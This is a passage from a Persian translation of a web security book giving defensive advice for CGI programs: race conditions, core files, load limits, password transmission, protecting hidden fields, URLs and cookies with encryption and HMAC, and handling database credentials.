۱۰. از برنامه و طرز رفتار آن ثبتهای متمادی بعمل آورید. معمولاً ثبتهای مفصل، اطلاعات جزئی بیشتری از ثبتهای خلاصه در اختیار شما قرار می‌دهند. بجای ثبت نتایج حاصل از خطاهای رایج و تکیه بر فایل ثبت سرویس‌دهندهٔ وب، اطلاعات ثبت خود را در یک فایل ثبت اختصاصی نگهداری کنید. انجام اینکار یافتن مشکلات را برای شما ساده‌تر خواهد کرد. همچنین استفاده از قابلیت *syslog* (در UNIX) را نیز مد نظر داشته باشید تا با آن بتوانید ثبتها را بسوی فایلها و کاربران هدایت کنید، به برنامه‌ها بفرستید، و یا برای رایانه‌های دیگر ارسال نمایید.

۱۱. تا حد ممکن قسمتهای حیاتی برنامه‌های خود را ساده و کوچک سازید.

۱۲. همواره از مسیرهای کاملِ نام برای آرگومانها استفاده کنید، هم برای فایلهای دستوری و هم برای فایلهای داده‌ای. بجای وابسته‌کردن اجرای صحیح برنامه به شاخهٔ جاری، صراحتاً مسیر صحیح اجرای برنامه را تعیین نمایید.

۱۳. در مورد بروز *شرایط رقابت*[۲۲۱] در برنامه هوشیار باشید. این شرایط می‌تواند به شکل *بن‌بست*[۲۲۲] و یا یک ناتوانی در اجرای صحیح دو فراخوانی نزدیک به هم رخ دهد:

شرایط بن‌بست

همانطور که می‌دانید ممکن است در آن واحد بیش از یک نسخه از یک برنامه درحال اجرا باشد و به همین دلیل بهتر است هر فایلی که می‌خواهید تغییر دهید را قفل کنید. برای حالتی که برنامه یک فایل را قفل می‌کند و سپس از حافظه بیرون انداخته می‌شود، چاره‌ای برای بازشدن قفل فایل بیاندیشید. از بروز بن‌بست و یا شرایطی که می‌تواند به بن‌بست منجر شود جلوگیری کنید. این شرایط زمانی پیش می‌آید که مثلاً یک برنامه ابتدا فایل A را برای خود قفل می‌کند و سپس می‌خواهد فایل B را قفل کند، و همزمان برنامهٔ دیگری که قبلاً فایل B را قفل کرده، می‌خواهد فایل A را نیز برای خود قفل کند.

شرایط رقابت

به یاد داشته باشید که برنامهٔ شما بصورت بدون وقفه از ابتدا تا انتها اجرا نمی‌شود، بلکه ممکن است میان اجرای هر دو دستورالعمل برنامه وقفهٔ کوتاهی ایجاد شود تا قسمتی از یک برنامهٔ دیگر – حتی شاید برنامه‌ای که بخواهد در کار برنامهٔ شما ایجاد اختلال کند – به اجرا درآید. بنابراین متن برنامهٔ خود را بدقت بررسی کنید تا مطمئن شوید در آن هیچ دو دستورالعمل متوالی وجود ندارد که درصورت اجرای دستورات دلخواه میان آنان دچار خرابی شوند. بطور خاص هنگامیکه چند عملیات روی یک فایل انجام می‌دهید (مثلاً مالک آنرا تغییر می‌دهید، فایل را ماندگار می‌کنید، حالت فایل را عوض می‌کنید، و...)، ابتدا فایل را باز کنید و سپس از فراخوانیهای سیستمی *fchown()*، *fstat()* و *fchmod()* استفاده نمایید. انجام اینکار باعث می‌شود مادامیکه برنامهٔ شما درحال اجرا است، برنامهٔ دیگری نتواند آن فایل را جایگزین کند، و بدین ترتیب از بروز یک حالت محتمل رقابت جلوگیری کرده‌اید. همچنین برای کسب آگاهی از توانایی دسترسی به یک فایل، از تابع *access()* استفاده

220 "errno" Variable
221 Sequence Conditions
222 Deadlock

نکنید، چراکه استفاده از این تابع درصورتیکه پس از آن از تابع *open()* استفاده شده باشد، یکی از حالات شناخته‌شدهٔ رقابت است.

۱۴. برنامهٔ خود را جز هنگام آزمایش در حالتی قرار ندهید که فایلهای core را ذخیره کند. فایلهای core می‌توانند کل یک دیسک را اشغال کنند، و نیز می‌توانند اطلاعات محرمانه در خود ذخیره نمایند. در بعضی موارد مهاجم تنها با استفاده از این نکته که یک برنامه فایلهای core را ذخیره می‌کند می‌تواند به یک سیستم نفوذ کند. بجای ذخیره کردن فایلهای core برنامهٔ خود را بگونه‌ای تنظیم کنید که مشکلات را ثبت کند و از برنامه خارج شود. برای اینکه حداکثر اندازهٔ فایل core را "صفر" قرار دهید، می‌توانید از تابع *setrlimit()* استفاده کنید.

۱۵. فایلهای خود را در شاخه‌هایی که همه می‌توانند در آنها بنویسند ایجاد نکنید. اگر قطعه‌برنامهٔ شما باید با حساب کاربری کاربر "nobody" به اجرا در آید، کاربر nobody را بعنوان مالک شاخه‌ای که قطعه‌برنامه می‌خواهد در آن به ایجاد فایلها بپردازد قرار دهید. برای هر قطعه‌برنامه و یا حداقل هر مجموعهٔ مرتبط قطعه‌برنامه‌ها که زیرسیستم نامیده می‌شوند، فضایی اختصاصی برای فایلهای موقتی تعبیه کنید (برای انجام اینکار، می‌توانید به هر قطعه‌برنامه یک شاخهٔ مجزا برای ایجاد فایلهای موقتی بدهید، و یا هر قطعه‌برنامه را ملزم کنید که فایلهای موقتی خود را طوری نامگذاری کند که همه با نام خود آن قطعه‌برنامه شروع شده باشند). چنانچه سرویس‌دهندهٔ وب بعنوان یک میزبان عمومی برای توابع پوستهٔ Unix هم بکار می‌رود، فایلهای موقتی را در شاخهٔ */tmp* ذخیره ننمایید.

۱۶. به آدرس IP بسته‌هایی که دریافت می‌کنید زیاد اعتماد نکنید. این آدرسها ممکن است بوسیلهٔ سرویس‌دهنده‌های proxy جعل، دستکاری، و یا سرقت شده باشند.

۱۷. در سرویس‌دهندهٔ خود نوعی از *تقسیم بار*[۲۲۳] و یا *محدودیت بار*[۲۲۴] قرار دهید تا بارگذاریهای سنگین هم قابل مدیریت شوند. مثلاً می‌توانید قطعه‌برنامه‌های خود را طوری بنویسید که پیش از به اجرا درآمدن، میزان بار سرویس‌دهنده را کنترل کنند و چنانچه مقدار آن از یک سقف از پیش تعیین‌شده بیشتر بود، با نمایش یک پیام محترمانه به کاربر از حافظه خارج شوند. انجام اینکار باعث می‌شود مهاجمی که با فراخوانیهای متعدد یک قطعه‌برنامه در تلاش برای انجام یک حملهٔ تخریب سرویس علیه سرویس‌دهندهٔ شما است با دشواری بیشتری روبرو شود. اینکار همچنین در شرایطی که صدها کاربر برای سریعتر اجرا شدن یک قطعه‌برنامهٔ کُند، دکمهٔ reload را فشار می‌دهند، از سرویس‌دهندهٔ شما محافظت می‌کند.

۱۸. برای قطعه‌برنامه‌های درحال اجرا سقف زمانی مناسب و معقول تعیین کنید. برنامهٔ شما به دلایل متعددی می‌تواند متوقف گردد؛ مثلاً ممکن است یک درخواست خواندن از یک سرویس‌دهندهٔ راه دور بی‌جواب بماند، یا یک مرورگر وب از قبول کردن اطلاعات ارسال‌شده از طرف شما امتناع ورزد. یک روش ساده برای حل این دو مشکل آن است که برای زمانیکه قطعه‌برنامهٔ CGI می‌تواند از منابع سرویس‌دهنده استفاده کند محدودیت قرار دهید. در اینصورت به محض اینکه برنامه از سقف زمانی تعیین‌شده تجاوز کند، باید فضای حافظه را خالی کند و از آن خارج شود. در بیشتر سیستمهای نوین برای برقراری این محدودیتهای زمانی می‌توان از نوعی فراخوانی تابعی استفاده کرد.

۱۹. برای استفادهٔ قطعه‌برنامه‌های CGI درحال اجرای خود از ریزپردازنده، محدودیتهای معقول و منطقی قرار دهید. یک اشکال جزئی در یک قطعه‌برنامهٔ CGI ممکن است آنرا در یک حلقهٔ بینهایت قرار دهد. برای محافظت از کاربران و سرویس‌دهندهٔ وب در مقابل این احتمال، باید برای مجموع زمانی که قطعه‌برنامه‌های CGI می‌توانند از ریزپردازنده مصرف کنند، محدودیتهای سفت و سختی قرار داد.

۲۰. از کاربر نخواهید که برای تصدیق هویت خود یک رمز عبور قابل استفادهٔ مجدد را در قالب متن‌ساده روی شبکه بفرستد. اگر از شناسه‌های کاربری و رمزهای عبور استفاده می‌کنید، یک سرویس‌دهندهٔ وب با قابلیت رمزنگاری را بکار برید تا رمز عبور

---

223 Load Shedding
224 Load Limiting

در قالب متن‌ساده منتقل نشود. همچنین بعنوان یک راه جایگزین می‌توانید برای تصدیق هویت از گواهی‌های سمت سرویس‌گیرنده استفاده نمایید. اگر کاربران شما از طریق مرورگر اینترنت می‌توانند به یک سرویس‌دهندهٔ وب IIS دسترسی پیدا کنند، در اینصورت می‌توانید از قابلیت *NTLM*[۲۲۵] – یک نسخه از پروتکل HTTP با تغییرات اختصاصی مایکروسافت – استفاده کنید. نکتهٔ آخر اینکه می‌توانید از *تصدیق هویت خلاصهٔ HTTP*[۲۲۶] – که برای ارزیابی یک رمز عبور مشترک میان سرویس‌دهنده و مرورگر وب، یک MD5 MAC را بکار می‌برد – استفاده کنید. سرویس‌دهندهٔ Apache 2.0 و نسخه‌های جدیدتر از آن از قابلیت تصدیق هویت مبتنی بر خلاصه‌سازی (Digest-based) با ماجول mod_auth_digest پشتیبانی می‌کند، و استفاده از آنها در مرورگرهای مختلف نیز رو به افزایش است. یک اشکال اولیهٔ تصدیق هویت مبتنی بر خلاصه‌سازی این است که این روش سرویس‌دهندهٔ وب را ملزم می‌کند که یک نسخهٔ رمزنشده از رمز عبور هریک از کاربران را مورد استفاده قرار دهد. برای جزئیات بیشتر در مورد تصدیق هویت مبتنی بر خلاصه‌سازی می‌توانید در مستندات Apache بدنبال کلمهٔ AuthDigestFile بگردید و یا به این آدرس مراجعه نمایید:

http://www.apache.org/doc-2.0/mod/mod_auth_digest.html

۲۱. متن برنامهٔ خود را مطالعه کنید و ببینید که خودتان از چه راههایی می‌توانید آنرا مورد حمله قرار دهید، و اگر برنامه ورودی غیرمنتظره دریافت کند چه عملکردی خواهد داشت. بررسی کنید و ببینید که اگر بتوانید میان دو فراخوانی سیستمی ایجاد تأخیر نمایید، تأثیر این مسئله بر عملکرد برنامه چه خواهد بود.

به یاد داشته باشید که بیشتر نقایص امنیتی در حقیقت خطاهای برنامه‌نویسی هستند. از یک نظر این مسئله می‌تواند خبر خوبی تلقی شود، چراکه در اینصورت هرچقدر برنامه‌نویسان برنامه‌های خود را ایمن‌تر کنند، در واقع آنرا مطمئنتر و قابل‌اتکاتر کرده‌اند.

استفاده ایمن از فیلدها، فایلهای مخفی، و Cookieها

یکی از دلایلی که معمولاً نوشتن برنامه‌های وب ایمن را دشوار می‌کند، مربوط به معماری باز برنامه‌های وب است. هنگامیکه یک برنامهٔ کاربردی تحت وب را تولید می‌کنید، معمولاً برنامه‌ای می‌نویسید که به شکل محلی روی سرویس‌دهندهٔ وب اجرا می‌شود، و یک برنامهٔ بسیار کوچکتر که download می‌شود و روی مرورگر وب کاربر به اجرا در می‌آید. ممکن است زمان زیادی را صرف کسب اطمینان از این مسئله کنید که این دو برنامه در تعامل با یکدیگر بطور صحیح کار می‌کنند. بعنوان مثال یکسان بودن نام فیلدهای درون فرمهای وب downloadشده با نام فیلدهای مورد انتظار قطعه‌برنامه‌های سرویس‌دهنده از اهمیت بسیار زیادی برخوردار است. به احتمال زیاد مدتی زمان نیز صرف آن می‌کنید که مطمئن شوید فرمهای HTML، JavaScript، و سایر برنامه‌هایی که download شده‌اند، روی انواع مختلف مرورگرهای وب بطور صحیح اجرا می‌شوند.

حتی در بهترین موارد، یافتن نرم‌افزاری که روی سرویس‌دهندهٔ وب و مرورگر با هم کاملاً هماهنگ باشند بسیار دشوار است. چیزی که کل فرآیند را از نظر امنیتی دچار اشکال می‌کند این است که مهاجمان، طبق تعریف، قوانین بازی را رعایت نمی‌کنند. مطمئناً آنها می‌توانند فرمهای HTML و برنامه‌های JavaScript شما را در مرورگرهای معمولی باز کنند تا مشکلی پیش نیاید، اما همچنین می‌توانند با انجام ندادن اینکار، متن برنامه را بربایند، تحلیل کنند، و به سرویس‌دهندهٔ شما پاسخهای کاملاً موردی و مغرضانه بفرستند. شناسایی این نوع حملات بسیار دشوار است، چراکه برای توسعه‌دهندگان معمولی وب کار ساده‌ای نیست که بتوانند برنامه‌های خود را در مقابل چنین حملاتی آزمایش کنند؛ و در هرحال بیشتر این برنامه‌نویسان برای بررسی حملات ممکن علیه یک قطعه‌برنامهٔ CGI ابزارهای مورد اعتماد لازم را در اختیار ندارند.

ذخیره‌کردن اطلاعات در مرورگر بجای سرویس‌دهندهٔ وب، منع ذاتی ندارد، بلکه حتی نیاز به پایگاههای اطلاعاتی، ردیابی کاربر، و بسیاری از فناوریهای دیگر در سمت سرویس‌دهنده را مرتفع می‌سازد؛ اما در اینصورت مجبور خواهید بود هرگاه اطلاعات را از کاربر دریافت می‌کنید آنرا کنترل نمایید تا مطمئن شوید چیزی از آن نادرست نشده باشد.

225 NT Challenge/Response
226 HTTP Digest Authentication

بسیاری از برنامه‌نویسان نیاز به تأیید اطلاعات بازگشتی از سوی مرورگرهای کاربران به سرویس‌دهنده را درک نمی‌کنند. بعنوان مثال در دسامبر ۱۹۹۹ مهندسان در ISS[۲۲۷] متوجه شدند که بسیاری از قطعه‌برنامه‌های تجارت الکترونیکی که متعلق به فروشندگان مختلف بودند همگی یک آسیب‌پذیری مشترک دارند: همگی آنها از کارتهای خرید پشتیبانی می‌کردند که قیمت مقطوع هر کالا نیز در آن ذخیره می‌شد، اما همهٔ این اطلاعات در مرورگرها بود و هیچ ارزیابی صحتی نیز روی آنها انجام نمی‌شد.[۲۲۸] هنگامیکه یک صورتحساب آماده می‌شد و هزینهٔ آن از کارت اعتباری کاسته می‌شد، برنامه‌های مربوطه بصورت کورکورانه به قیمتهای روی کارتهای خرید اعتماد می‌کردند و بدین ترتیب هر مهاجمی که می‌خواست به خودش در قیمتها تخفیف بدهد، می‌توانست با ارسال یک درخواست خرید اینترنتی، فرم HTML سرویس‌دهنده را روی دیسک سخت رایانهٔ خود ذخیره کند، قیمتها را دستکاری نماید، و سپس دکمهٔ "خرید" را بفشارد.

در مطالعه‌ای که در بهار سال ۲۰۰۱ انجام شد،[۲۲۹] چهار تن از فارغ‌التحصیلان MIT متوجه شدند که بسیاری از پایگاههای تجارت الکترونیکی، اطلاعات موجود در cookieها را بدرستی تصدیق صحت نمی‌کنند، و درنتیجه آنها می‌توانستند تغییرات هوشمندانه‌ای در cookieهای پایگاههای تجارت الکترونیکی بدهند تا به اطلاعات غیرمجاز دسترسی پیدا کنند.

استفاده ایمن از فیلدها

هنگام بررسی آرگومانهای ورودی به برنامهٔ خود به نکات زیر توجه ویژه نمایید:

- محتویات هر فیلد را غربال کنید و تنها به کاراکترهایی اجازهٔ ورود بدهید که متناسب با آن فیلد هستند. مثلاً اگر یک فیلد قرار است یک شمارهٔ کارت اعتباری باشد، به ارقام میان صفر تا ۹ اجازهٔ عبور دهید و مابقی ارقام را نادیده بگیرید. انجام اینکار علاوه بر مزایای امنیتی، به کاربران اجازه می‌دهد که بتوانند شمارهٔ کارت اعتباری خود را با فاصله و یا خطفاصله وارد نمایند.
- بعد از آنکه ورودیها را غربال کردید، طول هر آرگومان را نیز مورد بررسی قرار دهید. چنانچه طول آن نادرست بود، آنرا تأیید نکنید؛ و بجای آن یک پیغام خطا به نمایش درآورید.
- اگر از یک *فهرست انتخابی*[۲۳۰] استفاده می‌کنید، مطمئن شوید که آنچه کاربر بعنوان انتخاب خود ارائه کرده، یکی از گزینه‌های همان فهرست است. مهاجمان می‌توانند هر مقدار دلخواه خود را بعنوان ورودی این فهرستها به سرویس‌دهنده بفرستند، چراکه بهیچوجه خود را محدود به مقادیر مجاز فهرستهای انتخابی نمی‌کنند.
- حتی درصورتیکه فرمهای شما برای تأیید صحت محتویات خود از JavaScript سمت سرویس‌گیرنده استفاده می‌کنند، بازهم مطمئن شوید که در سمت سرویس‌دهنده نیز محتویات فرمها مجدداً مورد ارزیابی قرار می‌گیرند. مهاجمان بسادگی می‌تواند از این سدهای کنترلی بگذرند و یا بطور کلی آنرا غیرفعال نمایند.

فیلدهای مخفی و URLهای ترکیبی

یک *فیلد مخفی*[۲۳۱] عبارت است از فیلدی که سرویس‌دهندهٔ وب به مرورگر می‌فرستد، اما روی صفحه‌نمایش کاربر ظاهر نمی‌شود؛ و درعوض در حافظهٔ مرورگر جا می‌گیرد تا زمانیکه فرم به سوی سرویس‌دهنده بازپس فرستاده شد، فیلد مربوطه و محتویات آن نیز بازپس فرستاده شوند.

---

227 Internet Security Systems

۲۲۸ ISS این اشکال امنیتی را در دسامبر ۱۹۹۹ گزارش کرد، و سپس اطلاعات مربوط به این آسیب‌پذیری را در فوریهٔ ۲۰۰۰ در مطبوعات منتشر نمود. برای کسب اطلاعات بیشتر در این زمینه می‌توانید به این آدرس مراجعه نمایید:
http://www.cnn.com/2000/TECH/computing/02/04/shop.glitch.idg/

۲۲۹ برای اطلاعات بیشتر مراجعه کنید به "بایدها و نبایدهای تصدیق هویت سرویس‌گیرنده روی وب"، گزارش فنی شمارهٔ ۸۱۸ USENIX و MIT، تهیه‌شده بوسیلهٔ Kevin Fu، Emil Sit، Kendra Smith، و Nick Feamster.

230 Combo Box
231 Hidden Field

برخی از توسعه‌دهندگان وب از فیلدهای مخفی برای ذخیره‌سازی اطلاعات لازم برای ردیابی جلسه (تشخیص کاربر) در سیستمهای تجارت الکترونیکی بهره می‌برند. مثلاً بجای استفاده از تصدیق هویت اولیهٔ HTTP، توسعه‌دهندگان بعضاً نام کاربری و رمز عبور ارائه‌شده توسط کاربر را برای تمام فرمهای بعدی در فیلدهای مخفی قرار می‌دهند:

```
<INPUT TYPE=”hidden” NAME=”username” VALUE=”simsong”>
<INPUT TYPE=”hidden” NAME=”password” VALUE=”myauth11”>
```

فیلدهای مخفی همچنین می‌توانند برای پیاده‌سازی کارتهای خرید بکار روند:

```
<INPUT TYPE=”hidden” NAME=”items” VALUE=”3”>
<INPUT TYPE=”hidden” NAME=”item1” VALUE=”Book of Secrets:$4.99”>
<INPUT TYPE=”hidden” NAME=”item2” VALUE=”Nasty Software:$45.32”>
<INPUT TYPE=”hidden” NAME=”item3” VALUE=”Helping Hand:$32.23”>
```

بجای قراردادن این اطلاعات در فیلدهای مخفی، می‌توان آنها را مستقیماً در URL قرار داد. این URLها پس از رسیدن به سرویس‌دهنده به همان صورت قبلی تعبیر می‌شوند – مشابه حالتی که در فرمهای صفحات وب قرار دارند و با استفاده از پروتکل HTTP GET فرستاده شده‌اند. مثلاً URL زیر حاوی همان نام کاربری و رمز عبور قبلی است:

```
http://www.vineyard.net/cgi-bin/password_tester?username=simsong&password=myauth11
```

استفاده از فیلدهای مخفی بسیار آسان است، به ازای آن اطلاعات بسیار ناچیزی (و شاید حتی هیچ اطلاعاتی) باید در سرویس‌دهنده ذخیره شود؛ و برخلاف cookieها که به ۴۰۶۹ بایت محدود می‌شوند، فیلدهای مخفی در عمل می‌توانند هر اندازهٔ دلخواهی داشته باشند. اما استفاده از فیلدهای مخفی به اینصورت مشکلاتی را نیز در پی دارد:

- اگر کاربر کلید back را فشار دهد، ممکن است اجناس از کارت خرید حذف شوند. گاهی اوقات این مسئله مورد انتظار و مفید است، اما همیشه اینطور نیست.
- ممکن است صفحات HTML که توسط یکنفر مورد استفاده قرار گرفته، به رؤیت فرد دیگری برسد، مثلاً به این دلیل که یک دستگاه رایانه میان چند نفر به اشتراک گذاشته شده است. در این شرایط ممکن است نام کاربری، رمز عبور، و یا محتویات کارتهای خرید هریک از کاربران برای سایرین افشاء شود.
- اگر برای ذخیره و انتقال اطلاعات از URL استفاده می‌کنید، URL کامل – که حاوی اطلاعات جاسازی‌شده است – در فایلهای ثبت سرویس‌دهندهٔ وب ذخیره خواهد شد. هنگامیکه کاربر به یک سرویس‌دهندهٔ وب دیگر دستیابی پیدا می‌کند، مرورگر می‌تواند URL کامل را در header ارجاع‌دهندهٔ [sic] بفرستد، و این مسئله ممکن است امنیت و یا حریم خصوصی کاربر را خدشه‌دار کند.
- در بسیاری از موارد، محتویات فیلد مخفی که توسط سرویس‌دهندهٔ وب دریافت می‌شود، با آنچه که در ابتدا ارائه شده یکسان است، اما این مسئله تضمین چندانی ندارد. مهاجم می‌تواند صفحهٔ HTML شما را ذخیره کند، فرمهای آنرا مورد تحلیل قرار دهد، و فرامین GET و POST مخصوص خود را با محتویات دلخواه صادر کند. مهاجم همچنین می‌تواند یک صفحهٔ وب را بارها و بارها با تغییرات جزئی و در تلاش برای یافتن آسیب‌پذیریها به سمت سرویس‌دهنده بفرستد. از آنجا که راهی برای جلوگیری از این رفتار وجود ندارد، پس چاره‌ای جز ایجاد ایمنی در برابر آن نیست.
- چنانچه اتصال HTTP با پروتکل SSL رمزگذاری نشده باشد، مهاجمی که بتواند داده‌ها را از میان راه بدزدد ممکن است بتواند به اطلاعات لازم برای تصدیق هویت و یا سایر اطلاعات حساس نیز دسترسی پیدا کند.

استفاده از cookieها

یک جایگزین جالب برای این استفاده از فیلدهای مخفی و یا URLها این است که اطلاعاتی چون نام کاربری، رمز عبور، محتویات کارتهای خرید و چیزهایی از این قبیل، در cookieهای HTTP ذخیره شوند.

کاربران می‌توانند cookieهای خود را اصلاح کنند، و بنابراین cookieهایی که برای ردیابی کاربر، کارتهای خرید، و سایر انواع برنامه‌های تجارت الکترونیکی بکار می‌روند نیز از همهٔ مشکلات فیلدهای مخفی و یا URLهای ترکیبی رنج می‌برند. علاوه بر این، cookieها مشکلات خاص خود را نیز دارند:

- ممکن است تحت شرایطی بتوان cookieهای قدیمی را – حتی پس از انقضای آنها – مورد استفاده قرار داد؛
- کاربران می‌توانند از cookieهایی که می‌خواهند از کپی‌شدن خود روی دیسک سخت خودداری کنند نسخه‌های بلندمدت تهیه نمایند؛ و
- برخی از کاربران به cookieها خوشبین نیستند و کلاً این قابلیت را غیرفعال می‌کنند.

استفاده از رمزنگاری برای مقاوم‌کردن فیلدهای مخفی، URLهای مرکب، و cookieها

بسیاری از مشکلاتی که گفته شد را می‌توان با استفاده از رمزنگاری اطلاعات فیلدهای مخفی، URLهای ترکیبی، و cookieها حل کرد. رمزنگاری می‌تواند از درک اطلاعات ذخیره‌شده در رایانه بوسیلهٔ کاربران جلوگیری کند، و نیز می‌تواند به برنامه‌های سرویس‌دهندهٔ وب اجازه دهد که تغییرات غیرمجاز و یا تصادفی در این اطلاعات را کشف کنند. در اینجا مثالهایی از بخش قبلی که در آنها از رمزنگاری استفاده شده ارائه می‌شوند.

تأیید اعتبار نام کاربری و رمز عبور:

```
<INPUT TYPE=”hidden” NAME=”auth”
VALUE=”p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17ymls4UM%2F1bw
HygRhp7ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A:”>
```

یک کارت خرید ایمن:

```
<INPUT TYPE=”hidden” NAME=”cart”
VALUE=”fLkrNxpQ9GKv9%2FrAvnLhuLnNDAV50KhNPjPhqG6fMJoJ5kCQ5u1gh0ij8JBqphBxd
GVNOdja41XJ%0APLsT%2Bt1kydWN4Q%2BO9pW0yR9eIPLrzaDsZxauNPEe7cymPmXwd%
2B6c1L49uTwdNTKoS0XAThDzow%3D%3D%0A:”>
```

یک URL ترکیبی:

```
http://www.vineyard.net/cgi-bin/password_
tester?p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17ymls4UM%2F1bwHy
gRhp7ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A:
```

در هریک از این موارد، متغیرهای قابل فهم ساده با یک بلوک از اطلاعات رمزنگاری‌شده جایگزین شده‌اند. این بلوک رمزی با استفاده از روالی مشابه روال زیر بوجود می‌آید:

۱. متغیرهای منفردی که باید از مقدار آنها حفاظت کرد را بصورت یک رشته از کاراکترها کدگذاری کنید. اینکار در اصطلاح *مرتب‌کردن*[۲۳۲] نامیده می‌شود.
۲. یک برچسب ۴ بایتی برای زمان این متغیرها اختصاص دهید. انجام اینکار باعث می‌شود برنامه‌های شما در مقابل حملات "تکرار" ایمن شوند.

232 *Marshalling*

۳. اطلاعات و داده‌ها را فشرده کنید. این امر باعث می‌شود فضای کمتری اشغال گردد.
۴. طول رشتهٔ اطلاعاتی را به قالب سایر داده‌ها درآورید. برای اینکه بتوانید بلوک رمزگذاری‌شده را رمزگشایی کنید، انجام اینکار لازم است.
۵. رشتهٔ کاراکترها را با استفاده از یک تابع رمزگذاری متقارن و یک کلید مخفی رمزگذاری نمایید.
۶. یک تابع خلاصهٔ HMAC از این رشتهٔ رمزشده بدست آورید و آنرا به رشتهٔ رمزشده متصل کنید. این خلاصهٔ HMAC باعث می‌شود از همهٔ اطلاعات رمزشده، فشرده‌شده، و مرتب‌شده حفاظت بعمل آید.
۷. رشتهٔ حاصله را بوسیلهٔ Base64 کدگذاری، رمزگذاری، و فشرده‌سازی کنید و رشتهٔ حاصل را بازگردانید.
۸. از این رشتهٔ کدگذاری‌شدهٔ رمزگذاری‌شدهٔ فشرده برای فیلدهای مخفی، URLهای ترکیبی، و cookieها استفاده نمایید.

حال برای رمزگشایی و تأیید اعتبار این رشتهٔ رمزگذاری‌شده، کافی است گامهای زیر را دنبال کنید تا عملیات قبلی معکوس شود:

۱. رشته کد رمزگذاری‌شدهٔ فشرده را از فیلدهای مخفی، URLهای ترکیبی، و یا cookieها بدست آورید.
۲. کدگذاری Base64 را یافته و از رشتهٔ اصلی جدا سازید.
۳. رشتهٔ کدشدهٔ Base64 را کدگشایی کنید.
۴. HMAC را ارزیابی اعتبار کنید. اگر اعتبار آن تأیید نشود نشانگر آن است که رشتهٔ بدست‌آمده دستکاری شده است. در اینصورت یک پیغام خطا بازگردانید.
۵. اطلاعات را رمزگشایی نمایید.
۶. طول رشتهٔ اطلاعات را بدست آورید و از آن برای بدست آوردن رشتهٔ اولیه با طول صحیح استفاده نمایید. این مرحله به این دلیل لازم است که تابع رمزگذاری، معمولاً به انتهای دادهٔ ورودی بایتهای خالی اضافه می‌کند تا طول آنرا به یک مقدار مشخص از پیش تعیین‌شده برساند.
۷. دادهٔ فشرده‌شده را از فشردگی خارج کنید.
۸. برچسب زمانی را از ابتدای دادهٔ بدست‌آمده بخوانید. اگر برچسب زمانی خیلی قدیمی بود، دادهٔ مربوطه را قبول نکنید.
۹. اطلاعات باقیمانده را به فرستندهٔ اولیهٔ درخواست بازگردانید تا مقدار همهٔ متغیرهای اولیه را از روی رشته بدست آورد.

این مراحل بنظر بسیار پیچیده هستند و محاسبات بسیار سنگینی دارند، اما حقیقت این است که کدگذاری داده بسیار ساده است و می‌تواند با سرعت بسیار زیادی انجام شود. همچنین برای اینکار توابع کتابخانه‌ای آمادهٔ استفاده بوجود آمده، مانند CGI::EncryptForm در زبان Perl.

اتصال به پایگاههای داده

یک برنامه یا قطعه‌برنامهٔ CGI ممکن است بخواهد با پایگاههای داده‌ای خارج از سرویس‌دهندهٔ وب ارتباط برقرار کند. استفاده از پایگاههای دادهٔ بیرونی برای اهداف مختلفی چون ذخیرهٔ تنظیمات کاربر، پیاده‌سازی کارتهای خرید، و حتی پردازش دستورات صورت می‌گیرد. زمانیکه قطعه‌برنامه به اجرا در می‌آید، یک اتصال به پایگاه داده باز می‌کند، یک query می‌فرستد، نتیجه را دریافت می‌کند، و سپس از نتایج دریافت‌شده برای تهیهٔ پاسخی برای درخواست کاربر استفاده می‌نماید. در برخی سیستمها، برای هر قطعه‌برنامهٔ جدید که به اجرا در می‌آید یک اتصال پایگاه دادهٔ جدید ساخته می‌شود. در برخی سیستمهای دیگر تعداد محدودی اتصال دائمی وجود دارند که همواره از همانها برای اتصال قطعه‌برنامه‌ها به پایگاه داده استفاده می‌گردد.

استفاده از پایگاههای داده در طراحی صفحات وب باعث می‌شود طراح صفحات قدرت عمل و انعطاف‌پذیری بسیار زیادی پیدا کند، اما متأسفانه ممکن است که این راهبرد منجر به کاهش امنیت کلی سیستم شود؛ چراکه بسیاری از ضعفهای امنیتی از آنجا ناشی شده‌اند که مهاجم توانسته یک دستور دلخواه SQL را روی سرویس‌دهندهٔ پایگاه داده به اجرا در آورد و نتایج آنرا مشاهده کند.

چنانچه برای قدرتمندتر کردن طراحی صفحات وب خود از سرویس‌دهنده‌های پایگاه داده استفاده می‌کنید، حتماً مطمئن شوید که آن سرویس‌دهنده‌ها با رعایت کلیهٔ جوانب امنیتی مستقر شده‌اند و مورد استفاده قرار دارند.

حفاظت از اطلاعات حسابهای کاربری

پیش از آنکه سرویس‌دهندهٔ پایگاه داده نتایج را به قطعه‌برنامهٔ درحال اجرا روی سرویس‌دهندهٔ وب ارسال کند، باید قطعه‌برنامه را تصدیق هویت کند تا مطمئن شود که آن قطعه‌برنامه، مجاز به دریافت اطلاعات درخواستی است. بیشتر پایگاههای داده برای این منظور از یک نام کاربری و رمز عبور ساده برای تصدیق هویت حساب کاربری استفاده می‌کنند، که اینکار به این مفهوم است که قطعه‌برنامه باید یک نام کاربری و رمز عبور معتبر را در خود ذخیره کرده باشد و هرگاه که درخواستی از سرویس‌دهندهٔ پایگاه داده دارد آنرا ارائه نماید.

بسیاری از برنامه‌نویسان عادت کرده‌اند که نام کاربری و رمز عبور را بصورت متن‌ساده در متن برنامهٔ قطعه‌برنامه‌های خود وارد کنند. متأسفانه این روش مشکلات متعددی به همراه دارد:

- چنانچه مهاجم بتواند متن قطعه‌برنامه را ببیند، نام کاربری و نیز رمز عبور فاش می‌شوند؛
- اگر تعداد زیادی از قطعه‌برنامه‌ها بخواهند از آن نام کاربری و رمز عبور استفاده کنند، این اطلاعات باید در قطعه‌برنامه‌های زیادی ذخیره شود؛ و
- تغییر دادن نام کاربری و رمز عبور مستلزم تغییر متن قطعه‌برنامه‌های متناظر خواهد بود، و در انجام این تغییرات ممکن است تغییرات ناخواستهٔ دیگری نیز در متن قطعه‌برنامه‌ها رخ دهد.

